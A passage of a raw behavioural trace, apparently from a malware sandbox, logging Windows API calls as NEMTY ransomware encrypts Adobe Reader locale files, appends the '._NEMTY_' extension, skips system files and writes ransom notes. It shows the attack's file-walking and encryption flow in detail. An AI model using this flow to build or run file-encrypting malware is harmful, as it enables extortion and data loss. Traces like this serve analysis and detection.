RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.KOR", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.KOR", lpUsedDefaultChar=0x0) returned 11 [0179.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.762] Sleep (dwMilliseconds=0x5) [0179.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1eccaa30, dwHighDateTime=0x1d561e8)) [0179.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1eccaa30, dwHighDateTime=0x1d561e8)) [0179.778] GetLastError () returned 0x0 [0179.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.778] GetLastError () returned 0x0 [0179.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.778] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.778] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.778] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.778] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="aU1xRyRMC8Ho4+Bd0cE4OMczUfEB/15VDc/PMDa7d5HMnqVbicv5ONWJNIbUBSUY\r\nbvi8QCq3frXTZwX7lWsGxsETVwbMdE48W4fifg3aZh8vB83lsIVebMfKbIwxtNc6\r\ntqgPEGftJfTzVNMzLCfNxmVZ6PN0Ly/mP91A3xwD3R9mFjL+FdWzBrrWh2+XjzeZ\r\n/XfN8bnKbNyEnoxKtk3DeOftshWyjD4Zhn0VaOvJAHVocXS8T2DoyqXAX8ZGWt6I\r\nlJGwLHTOnZioByuxvPvKyHIcwcP5gAD9drbUJ8i70qW0M8rNLo79KDBoO5MHDr5U\r\nicr2nRhGpr97ZjwU8BYDhw==\r\n", pcchString=0x653e5dc) returned 1 [0179.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.778] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Weblink.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\weblink.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.779] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=22016) returned 1 [0179.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5600) returned 0x6352c48 [0179.779] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.779] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5600, lpOverlapped=0x0) returned 1 [0179.782] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.782] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5600, lpOverlapped=0x0) returned 1 [0179.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.782] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=22016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5600 [0179.782] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.782] CloseHandle (hObject=0x2e8) returned 1 [0179.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.782] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Weblink.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\weblink.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Weblink.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\weblink.kor._nemty_kgobjgd_")) returned 1 [0179.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.783] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e8540f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1e8540f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1e8540f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0179.783] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0179.783] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0179.783] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0179.783] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0179.783] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0179.783] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0179.783] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0179.783] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0179.783] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0179.783] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0179.783] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0179.783] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0179.784] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0179.784] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0179.784] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0179.784] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0179.784] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0179.784] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0179.784] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0179.784] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0179.784] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0179.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0179.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0179.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0179.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0179.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0179.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0179.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0179.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0179.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0179.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0179.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0179.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.785] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e8540f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1e8540f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1e8540f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0179.785] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0179.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0179.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0179.785] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="nb_NO", cAlternateFileName="")) returned 1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2=".") returned 1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2="..") returned 1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2="...") returned 1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2="windows") returned -1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2="$RECYCLE.BIN") returned 1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2="rsa") returned -1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2="NTDETECT.COM") returned -1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2="ntldr") returned -1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2="MSDOS.SYS") returned 1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2="IO.SYS") returned 1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2="boot.ini") returned 1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2="boot.ini") returned 1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2="AUTOEXEC.BAT") returned 1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2="ntuser.dat") returned -1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2="desktop.ini") returned 1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2="CONFIG.SYS") returned 1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2="RECYCLER") returned -1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2="BOOTSECT.BAK") returned 1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2="bootmgr") returned 1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2="programdata") returned -1 [0179.785] lstrcmpiW (lpString1="nb_NO", lpString2="appdata") returned 1 [0179.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nb_NO", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0179.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nb_NO", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nb_NO", lpUsedDefaultChar=0x0) returned 5 [0179.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nb_NO", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0179.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nb_NO", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nb_NO", lpUsedDefaultChar=0x0) returned 5 [0179.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0179.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0179.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0179.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0179.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0179.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0179.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0179.786] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0179.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0179.788] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.788] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0179.789] CloseHandle (hObject=0x254) returned 1 [0179.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0179.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0179.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0179.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0179.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0179.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0179.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0179.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.790] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0179.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.790] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.790] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0179.791] CloseHandle 